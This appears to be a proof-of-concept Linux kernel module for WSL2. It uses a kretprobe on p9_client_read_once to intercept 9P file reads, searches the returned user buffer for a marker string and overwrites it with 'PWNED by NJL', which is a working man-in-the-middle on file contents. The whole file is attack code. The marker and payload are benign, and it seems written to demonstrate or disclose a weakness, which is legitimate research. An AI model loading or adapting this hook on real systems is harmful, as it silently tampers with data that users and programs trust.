Files
2026-06-26 22:46:39 +00:00

88 lines
1.9 KiB
C

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
#define MARKER "WSL2_9P_MITM_TARGET"
#define PAYLOAD "PWNED by NJL "
#define MY_ITER_UBUF 5
struct my_iov_iter {
u8 iter_type;
u8 _pad[7];
size_t iov_offset;
union {
void __user *ubuf;
void *__iov;
};
size_t count;
unsigned long nr_segs;
};
struct saved {
struct my_iov_iter *to;
size_t iov_off;
};
static int entry(struct kretprobe_instance *ri, struct pt_regs *regs)
{
struct saved *s = (struct saved *)ri->data;
s->to = (struct my_iov_iter *)regs->dx;
s->iov_off = s->to ? s->to->iov_offset : 0;
return 0;
}
static int ret(struct kretprobe_instance *ri, struct pt_regs *regs)
{
struct saved *s = (struct saved *)ri->data;
long n = (long)regs->ax;
struct my_iov_iter *it = s->to;
char buf[256];
size_t len, i;
if (n <= 0 || !it || it->iter_type != MY_ITER_UBUF)
return 0;
len = min((size_t)n, sizeof(buf) - 1);
if (copy_from_user(buf, it->ubuf + s->iov_off, len))
return 0;
buf[len] = 0;
for (i = 0; i + sizeof(MARKER) - 1 <= len; i++) {
if (memcmp(buf + i, MARKER, sizeof(MARKER) - 1) == 0) {
copy_to_user(it->ubuf + s->iov_off + i, PAYLOAD, sizeof(PAYLOAD) - 1);
pr_info("[poc] patched read: '%s' -> '%s'\n", MARKER, PAYLOAD);
break;
}
}
return 0;
}
static struct kretprobe krp = {
.entry_handler = entry,
.handler = ret,
.data_size = sizeof(struct saved),
.maxactive = 32,
.kp.symbol_name = "p9_client_read_once",
};
static int __init main_init(void)
{
int r = register_kretprobe(&krp);
if (r) { pr_err("[poc] register failed: %d\n", r); return r; }
pr_info("[poc] WSL2 9P MitM loaded. marker='%s'\n", MARKER);
return 0;
}
static void __exit main_exit(void)
{
unregister_kretprobe(&krp);
pr_info("[poc] unloaded\n");
}
module_init(main_init);
module_exit(main_exit);